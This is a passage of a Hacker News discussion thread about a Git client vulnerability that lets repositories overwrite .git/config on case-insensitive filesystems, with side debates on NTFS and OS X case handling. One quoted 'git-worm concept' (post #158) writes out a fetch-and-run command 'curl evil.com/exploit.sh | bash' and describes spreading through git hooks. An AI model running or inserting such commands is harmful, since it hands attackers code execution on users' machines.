Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Git client vulnerability announced

github.com

Post reply on HN
Print view View original

151–160 of 191 posts

Re: Git client vulnerability announced

#151

Post by mike_hearn »

mikeash wrote: post #118
dlubarov wrote: post #101

Earlier quoted context omitted.

With Android apps you still build locally, typically with Gradle, allowing arbitrary code execution on the host.

Oh yes, I suppose a bad build script could undo you. In the land of iOS there are sometimes "libraries" that are just distributed as source files that you add to your own project, so I suppose that at least would qualify.

Additionally, are you willing to bet that there are no buffer overflows in gcc, sed, awk, and whatever other tools you use to build software from git on a regular basis?

Heck, some of the Google security guys have been discovering lately that you can pwn someone just by getting them to run less on a file. How many people start by doing "less README"?

Git should ideally not have this vulnerability, but panicking over this seems overkill. If you want to suck down and work with large amounts of code from a possibly malicious source, you get into virtual machines territory.

Re: Git client vulnerability announced

#152

Post by rimantas »

userbinator wrote: post #114

I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definiti…

I once tried to install OS X with case sensative filesystem. Turns out Photoshop for OS X does not work in that case. Had to go back to case-insensitive. Not sure how many other apps have the same issue.

Re: Git client vulnerability announced

#153

Post by the_why_of_y »

vog wrote: post #100

Ouch! And I thought the OpenBSD people were paranoid for sticking with CVS. (because Git is too bloated and complex in their view, so they weren't able to review it thoroughly, which would have been the only way for them to trust it.) I always get a strange, uneasy feeiling when the tin foil hats turn out to be right. I wonder if they are right on GPG, too. For those who don't know this: The OpenBSD people refuse to…

OpenBSD uses OpenCVS, which would be safe from such a vulnerability by virtue of being non-portable and running only on file systems that OpenBSD supports, which are all case-sensitive. Thus this is yet another example of the security benefits of writing non-portable and maintainable software.

Re: Git client vulnerability announced

#155

Post by ygra »

barrkel wrote: post #146
hoov wrote: post #129

Earlier quoted context omitted.

Yeah. NTFS is case preserving, not case sensitive.

NTFS is case sensitive. The Win32 layer presents NTFS as case preserving, but the NT POSIX layer (since renamed to SFU), as well as Cygwin, use NTFS's case sensitivity.

More to the point, the NTFS API can be both. And you can access that from Win32 code as well. There's also a registry flag to make NTFS case-sensitive by default.

Re: Git client vulnerability announced

#156

Post by Someone »

FiloSottile wrote: post #5

Short panic summary: your git/hg remotes can get code execution on your machine when you clone/pull if you are on OSX or Windows. Summary: on case-insensitive/normalizing filesystems (default on OSX and Windows) it's possible for .git/config to be overwritten by the tree, probably due to a case-sensitive sanity check when the actual file is insensitive. .git/config can contain arbitrary commands to be run on certain…

So, I guess people are going through old web server vulnerabilities such as trying to masquerade ".git/config" as ".git/../.git/config" or using different encodings for the same file to see which ones git falls for?

Also, can git run with .git/config being read only? That could be a useful second line of defense.

Re: Git client vulnerability announced

#157

Post by Someone »

userbinator wrote: post #114

I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definiti…

I think the main argument against case-insensitivity is that every file system driver must contain a large [1] code blob that does the case-insensitive comparison. That blob cannot be shared between drives or with the OS because one must guarantee that it stays the same forever. It is almost a sure bet that case-insensitivity in NTFS is different from that in HFS+ (even disregarding their different canonicalization).

Directory-traversal attacks work just as well with ASCII or byte sequences.

[1] of course, what is large becomes less and less important over time, thanks to Moore's law. On embedded devices, this still may be quite significant, though.

Re: Git client vulnerability announced

#158

Post by xg15 »

xg15 wrote: post #26
amatix wrote: post #7

Git-worm concept: * create an alias which does something evil "curl evil.com/exploit.sh | bash;", maybe as a typo (commti?) since "to avoid confusion and troubles with script usage, aliases that hide existing Git commands are ignored" * exploit code finds other local git repos and infects them (maybe avoiding those with github/bitbucket remotes, since they'll be blocked) * be innocuous-looking via git config's "inclu…

You don't even need to alias a typo - if the vulnerability allows to overwrite arbitrary files in the .git-directory, which is what it sounds like, you can just add a book that will be executed on each commit/fetch/push/etc... So yes, this is dangerous.

... hook, not book...

Re: Git client vulnerability announced

#159

Post by wereHamster »

rimantas wrote: post #152
userbinator wrote: post #114

I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definiti…

I once tried to install OS X with case sensative filesystem. Turns out Photoshop for OS X does not work in that case. Had to go back to case-insensitive. Not sure how many other apps have the same issue.

World of Warcraft (and any other Blizzard game) won't run off of a case sensitive filesystem.

Re: Git client vulnerability announced

#160

Post by archagon »

userbinator wrote: post #114

I think here is a good argument for not using case-insensitive filesystems - because every single filename comparison gets affected and it can lead to vulnerabilities like this (I wonder what others are out there...) Case-insensitive initially feels like a good idea to some, but I think it's a good example of "trying to do too much" and often in subtle ways that even the user might not fully understand - the definiti…

The OS should always be in service of the user. And users (in my experience) vastly prefer case insensitivity.

Sorry, but there's just no way around it.

Post reply on HN